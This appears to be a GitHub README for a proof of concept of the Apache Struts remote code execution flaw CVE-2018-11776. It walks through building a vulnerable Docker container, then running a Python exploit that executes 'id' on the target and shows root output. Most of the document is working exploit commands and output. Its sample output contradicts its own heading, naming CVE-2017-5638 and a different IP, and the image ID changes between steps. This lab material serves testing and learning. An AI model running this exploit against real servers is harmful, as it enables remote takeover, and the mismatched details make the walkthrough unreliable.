Apache Struts CVE-2018-11776 Python PoC

This is based on https://github.com/hook-s3c/CVE-2018-11776-Python-PoC. The container build and instructions did not work as described in the README so this fork was created. The POC exploit used is from Rapid7.

Shoutout:

hook-s3c (github.com/hook-s3c), @hook_s3c on twitter
Rapid7 rapid7/metasploit-framework#8064

Introduction

Man Yue Mo from Semmle has disclosed an Struts2 RCE vulnerability, delivered in a payload encoded in the URL path of a request.

Versions affected are 2.3 to 2.3.34, and 2.5 to 2.5.16.

Default configuration is not vulnerable. This container, and many others, are vulnerable.

Step 1 - Build the Container

It's preferrable to build a container from a Dockerfile when you can see what is going into the build.

git clone https://github.com/freshdemo/ApacheStruts-CVE-2018-11776 ./Struts
cd Struts
docker build . -t freshdemo/apachestruts

Find the new container with

docker images

The output should be similar to this, where you can get the image ID.

   root@DockerHost:~/ApacheStruts-CVE-2018-11776# docker images
REPOSITORY                                 TAG                 IMAGE ID            CREATED              SIZE 

freshdemo/apachestruts                     latest              6586cedf49fa        About a minute ago   542MB 

Step 2 - Run the Container

Build and start a container with the following.

docker run -d --name apachestruts -p 8080:8080 d39018c50afe

Step 3 - Exploit

Make sure any ingress/egress firewalls permit the port you specified earlier (8080), and run the exploit against your target with the following.

python struts.py http://192.168.2.188:8080 'id'

Your output should be similar to this.

root@k:/home/s# python struts.py http://192.168.2.188:8080 'id'
[*] CVE: 2017-5638 - Apache Struts2 S2-045
http://13.88.250.188:8080 : [*] cmd: id


uid=0(root) gid=0(root) groups=0(root)